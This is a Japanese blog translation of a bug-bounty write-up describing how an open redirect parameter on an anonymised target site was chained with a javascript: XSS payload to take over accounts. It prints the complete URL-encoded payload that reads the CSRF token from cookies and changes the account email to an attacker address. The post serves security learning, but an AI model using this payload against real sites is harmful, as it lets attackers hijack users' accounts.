Shikata Ga Nai

Private? There is no such things.

Chaining Open Redirect with XSS to Account Takeoverを訳してみた

Hello there, ('ω')ノ

 

XSSを使用したオープンリダイレクトのアカウントテイクオーバーへの連鎖を。

 

脆弱性:

 オープンリダイレクト

 XSS

 アカウント乗っ取り

 

記事:

 https://radianid.medium.com/chaining-open-redirect-with-xss-to-account-takeover-36acf218a6d5

 

今回は、XSSをアカウントテイクオーバーにエスカレートした方法を。

ターゲットはプライベートなので、target.comと呼ぶことに。


オープンリダイレクト:

ターゲットのテストを開始してアカウントを登録すると。

ownsubdomain.target.comのような独自のサブドメインを作成できたので。

次に、ダッシュボードにログインすることに。

その後、下記のようなURLエンドポイントを見つけたので。

 https://ownsubdomain.target.com/overview/?ccpa_redirect=

 

下記のようにリダイレクトを開こうとすると。

evil.comページにリダイレクトされて。

 https://ownsubdomain.target.com/overview/?ccpa_redirect=https://evil.com

 

f:id:ThisIsOne:20210918102811p:plain

 

次に、XSSペイロードjavascript:alert(1);を使用してブラウザで開くと。

XSSがポップアップして。

 

f:id:ThisIsOne:20210918102925p:plain



XSSをアカウントテイクオーバーへの連鎖:

その後、このXSSをより深刻な影響にアップグレードすることを考えていると。

下記のようなメールを変更できるフォームを見つけて。

 

f:id:ThisIsOne:20210918103006p:plain

 

ただ、CSRF-TOKEN保護があったので。

XSSを深刻な影響に連鎖させることについての記事を読んで。

下記の電子メールを変更するためのペイロードを作成して。

XSSの脆弱性を伴うCSRF-TOKEN保護をバイパスすることに。

 

javascript:var%20http=new%20XMLHttpRequest();

%20http.open(%27POST%27,%27https://ownsubdomain.target.com/api/3/settings/account%27,%20true);

var%20csrf=%20document.cookie.split(%27;%20%27).find(row%20=%253e%20row.startsWith(%27XSRF-TOKEN%27)).split(%27=%27)[1];

http.setRequestHeader(%27X-Xsrf-Token%27,csrf);

http.withCredentials=true;

http.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);

http.send(%27firstName=Hacked%2526lastName=byHacker%2526loginEmail=attacker@mail.com%26phoneNumber=%2526notificationEmail=attacker@mail.com%2526signature=%2526timezone=Asia/Jakarta%2526language=english%27);

alert('email%20changed');

 

したがって、下記のURLにアクセスと。

 

https://ownsubdomain.target.com/overview/?ccpa_redirect=

javascript:var%20http=new%20XMLHttpRequest();

%20http.open(%27POST%27,%27https://subdomain.target.com/api/3/settings/account%27,%20true);

var%20csrf=%20document.cookie.split(%27;%20%27).find(row%20=%253e%20row.startsWith(%27XSRF-TOKEN%27)).split(%27=%27)[1];

http.setRequestHeader(%27X-Xsrf-Token%27,csrf);

http.withCredentials=true;

http.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);

http.send(%27firstName=Hacked%2526lastName=byHacker%2526loginEmail=attacker@mail.com%26phoneNumber=%2526notificationEmail=attacker@mail.com%2526signature=%2526timezone=Asia/Jakarta%2526language=english%27);

alert('email%20changed');

 

ブラウザでは、アラートがポップアップ表示されて電子メールが変更されて。

アラートがポップアップして。

 

f:id:ThisIsOne:20210918103223p:plain

 

メールが正常に変更さて。

 

f:id:ThisIsOne:20210918103245p:plain

 

Best regards, (^^ゞ